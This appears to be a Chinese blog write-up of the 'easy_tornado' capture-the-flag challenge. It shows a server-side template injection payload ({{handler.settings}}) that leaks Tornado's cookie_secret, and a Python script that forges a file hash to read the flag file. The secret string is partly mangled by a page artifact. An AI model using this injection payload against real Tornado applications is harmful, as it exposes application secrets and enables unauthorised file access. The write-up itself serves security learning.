当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:

flag.txt
/flag.txt
flag in /fllllllllllllag发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
renderrender是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))成功获取flag。
边栏推荐
- 2022 tea master (intermediate) examination questions and mock examination
- Linux server development, redis protocol and asynchronous mode
- 让Livelink初始Pose与动捕演员一致
- [VHDL parallel statement execution]
- These five fishing artifacts are too hot! Programmer: I know, delete it quickly!
- [step on the pit series] H5 cross domain problem of uniapp
- It took "7" years to build the robot framework into a micro service
- uniapp 移动端强制更新功能
- Call pytorch API to complete linear regression
- DNS server configuration
猜你喜欢

通俗易懂单点登录SSO

Who has docker to install MySQL locally?

MySQL multi column index (composite index) features and usage scenarios

Force buckle 144 Preorder traversal of binary tree
![[quick start of Digital IC Verification] 17. Basic grammar of SystemVerilog learning 4 (randomization)](/img/39/cac2b5492d374da393569e2ab467a4.png)
[quick start of Digital IC Verification] 17. Basic grammar of SystemVerilog learning 4 (randomization)

Linux server development, redis source code storage principle and data model

Leetcode 90: subset II

Custom class loader loads network class

数据库实时同步利器——CDC(变化数据捕获技术)

JS复制图片到剪切板 读取剪切板
随机推荐
JSON data flattening pd json_ normalize
数据库实时同步利器——CDC(变化数据捕获技术)
快速使用 Jacoco 代码覆盖率统计
2022 tea master (intermediate) examination questions and mock examination
Fast parsing intranet penetration escorts the document encryption industry
电池、电机技术受到很大关注,反而电控技术却很少被提及?
Avatary的LiveDriver试用体验
Leetcode 40: combined sum II
2022 recurrent training question bank and answers of refrigeration and air conditioning equipment operation
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after conne
Codeforce c.strange test and acwing
C language flight booking system
Binary tree and heap building in C language
Network learning (I) -- basic model learning
game攻防世界逆向
ZCMU--1492: Problem D(C语言)
[quick start of Digital IC Verification] 15. Basic syntax of SystemVerilog learning 2 (operators, type conversion, loops, task/function... Including practical exercises)
ZCMU--1396: 队列问题(2)
Li Kou interview question 04.01 Path between nodes
LeetCode简单题之字符串中最大的 3 位相同数字